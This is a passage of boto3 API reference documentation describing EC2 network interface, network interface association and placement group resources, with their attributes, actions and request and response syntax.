_(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + +attachment + +- _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + +availability_zone + +- _(string) --_ + + The Availability Zone. + + +description + +- _(string) --_ + + A description. + + +groups + +- _(list) --_ + + Any security groups for the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +interface_type + +- _(string) --_ + + The type of network interface. + + +ipv6_addresses + +- _(list) --_ + + The IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + +mac_address + +- _(string) --_ + + The MAC address. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +- _(string) --_ + + The AWS account ID of the owner of the network interface. + + +private_dns_name + +- _(string) --_ + + The private DNS name. + + +private_ip_address + +- _(string) --_ + + The IPv4 address of the network interface within the subnet. + + +private_ip_addresses + +- _(list) --_ + + The private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes the private IPv4 address of a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + +requester_id + +- _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + +requester_managed + +- _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + +source_dest_check + +- _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + +status + +- _(string) --_ + + The status of the network interface. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. + + +tag_set + +- _(list) --_ + + Any tags assigned to the network interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +assign_private_ip_addresses(kwargs_) + +Assigns one or more secondary private IP addresses to the specified network interface. + +You can specify one or more specific secondary IP addresses, or you can specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. The number of secondary IP addresses that you can assign to an instance varies by instance type. For information about instance types, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about Elastic IP addresses, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + +Remapping an IP address is an asynchronous operation. When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + +You must specify either the IP addresses or the IP address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.assign_private_ip_addresses( + AllowReassignment=True|False, + PrivateIpAddresses=[ + 'string', + ], + SecondaryPrivateIpAddressCount=123 +) + +Parameters + +- **AllowReassignment** (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. +- **PrivateIpAddresses** (_list_) -- + + One or more IP addresses to be assigned as a secondary private IP address to the network interface. You can't specify this parameter when also specifying a number of secondary IP addresses. + + If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + + - _(string) --_ +- **SecondaryPrivateIpAddressCount** (_integer_) -- The number of secondary IP addresses to assign to the network interface. You can't specify this parameter when also specifying private IP addresses. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **AssignedPrivateIpAddresses** _(list) --_ + + The private IP addresses assigned to the network interface. + + - _(dict) --_ + + Describes the private IP addresses assigned to a network interface. + + - **PrivateIpAddress** _(string) --_ + + The private IP address assigned to the network interface. + + +attach(kwargs_) + +Attaches a network interface to an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterface) + +**Request Syntax** + +response = network_interface.attach( + DeviceIndex=123, + DryRun=True|False, + InstanceId='string', + NetworkCardIndex=123 +) + +Parameters + +- **DeviceIndex** (_integer_) -- + + **[REQUIRED]** + + The index of the device for the network interface attachment. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +- **NetworkCardIndex** (_integer_) -- The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachmentId': 'string', + 'NetworkCardIndex': 123 +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of AttachNetworkInterface. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_interface.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network interface. You must detach the network interface before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterface) + +**Request Syntax** + +response = network_interface.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.describe_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- The attribute of the network interface. This parameter is required. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeNetworkInterfaceAttribute. + + - **Attachment** _(dict) --_ + + The attachment (if any) of the network interface. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + - **Description** _(dict) --_ + + The description of the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **Groups** _(list) --_ + + The security groups associated with the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach(kwargs_) + +Detaches a network interface from an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachNetworkInterface) + +**Request Syntax** + +response = network_interface.detach( + DryRun=True|False, + Force=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Specifies whether to force a detachment. + + Note + + - Use the Force parameter only as a last resort to detach a network interface from a failed instance. + - If you use the Force parameter to detach a network interface, you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. + - If you force the detachment of a network interface, the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) might not get updated. This means that the attributes associated with the detached network interface might still be visible. The instance metadata will get updated when you stop and start the instance. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified network interface attribute. You can specify only one attribute at a time. You can use this action to attach and detach security groups from an existing EC2 instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.modify_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + ], + SourceDestCheck={ + 'Value': True|False + } +) + +Parameters + +- **Attachment** (_dict_) -- + + Information about the interface attachment. If modifying the 'delete on termination' attribute, you must specify the ID of the interface attachment. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + +- **Description** (_dict_) -- + + A description for the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + Changes the security groups for the network interface. The new set of groups you specify replaces the current set. You must specify at least one group, even if it's just the default security group in the VPC. You must specify the ID of the security group, not the name. + + - _(string) --_ +- **SourceDestCheck** (_dict_) -- + + Indicates whether source/destination checking is enabled. A value of true means checking is enabled, and false means checking is disabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.reset_attribute( + DryRun=True|False, + SourceDestCheck='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SourceDestCheck** (_string_) -- The source/destination checking attribute. Resets the value to true . + +Returns + +None + +unassign_private_ip_addresses(kwargs_) + +Unassigns one or more secondary private IP addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.unassign_private_ip_addresses( + PrivateIpAddresses=[ + 'string', + ] +) + +Parameters + +**PrivateIpAddresses** (_list_) -- + +**[REQUIRED]** + +The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + +- _(string) --_ + +Returns + +None + +[NetworkInterfaceAssociation](#id1246) +---------------------------------------------------------------------------------------------------- + +_class_ EC2.NetworkInterfaceAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterfaceAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterfaceAssociation.id "EC2.NetworkInterfaceAssociation.id") + +These are the resource's available attributes: + +- [carrier_ip](#EC2.NetworkInterfaceAssociation.carrier_ip "EC2.NetworkInterfaceAssociation.carrier_ip") +- [ip_owner_id](#EC2.NetworkInterfaceAssociation.ip_owner_id "EC2.NetworkInterfaceAssociation.ip_owner_id") +- [public_dns_name](#EC2.NetworkInterfaceAssociation.public_dns_name "EC2.NetworkInterfaceAssociation.public_dns_name") +- [public_ip](#EC2.NetworkInterfaceAssociation.public_ip "EC2.NetworkInterfaceAssociation.public_ip") + +These are the resource's available references: + +- [address](#EC2.NetworkInterfaceAssociation.address "EC2.NetworkInterfaceAssociation.address") + +These are the resource's available actions: + +- [delete()](#EC2.NetworkInterfaceAssociation.delete "EC2.NetworkInterfaceAssociation.delete") +- [get_available_subresources()](#EC2.NetworkInterfaceAssociation.get_available_subresources "EC2.NetworkInterfaceAssociation.get_available_subresources") +- [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") +- [reload()](#EC2.NetworkInterfaceAssociation.reload "EC2.NetworkInterfaceAssociation.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_ip + +- _(string) --_ + + The carrier IP address associated with the network interface. + + +ip_owner_id + +- _(string) --_ + + The ID of the owner of the Elastic IP address. + + +public_dns_name + +- _(string) --_ + + The public DNS name. + + +public_ip + +- _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +address + +(VpcAddress) The related address if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = network_interface_association.delete( + PublicIp='string', + DryRun=True|False +) + +Parameters + +- **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.reload() + +Returns + +None + +[PlacementGroup](#id1247) +-------------------------------------------------------------------------- + +_class_ EC2.PlacementGroup(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) PlacementGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.PlacementGroup.name "EC2.PlacementGroup.name") + +These are the resource's available attributes: + +- [group_id](#EC2.PlacementGroup.group_id "EC2.PlacementGroup.group_id") +- [group_name](#EC2.PlacementGroup.group_name "EC2.PlacementGroup.group_name") +- [partition_count](#EC2.PlacementGroup.partition_count "EC2.PlacementGroup.partition_count") +- [state](#EC2.PlacementGroup.state "EC2.PlacementGroup.state") +- [strategy](#EC2.PlacementGroup.strategy "EC2.PlacementGroup.strategy") +- [tags](#EC2.PlacementGroup.tags "EC2.PlacementGroup.tags") + +These are the resource's available actions: + +- [delete()](#EC2.PlacementGroup.delete "EC2.PlacementGroup.delete") +- [get_available_subresources()](#EC2.PlacementGroup.get_available_subresources "EC2.PlacementGroup.get_available_subresources") +- [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") +- [reload()](#EC2.PlacementGroup.reload "EC2.PlacementGroup.reload") + +These are the resource's available collections: + +- [instances](#EC2.PlacementGroup.instances "EC2.PlacementGroup.instances") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The PlacementGroup's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +group_id + +- _(string) --_ + + The ID of the placement group. + + +group_name + +- _(string) --_ + + The name of the placement group. + + +partition_count + +- _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + +state + +- _(string) --_ + + The state of the placement group. + + +strategy + +- _(string) --_ + + The placement strategy. + + +tags + +- _(list) --_ + + Any tags applied to the placement group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified placement group. You must terminate all instances in the placement group before you can delete the placement group. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeletePlacementGroup) + +**Request Syntax** + +response = placement_group.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = placement_group.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = placement_group.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) 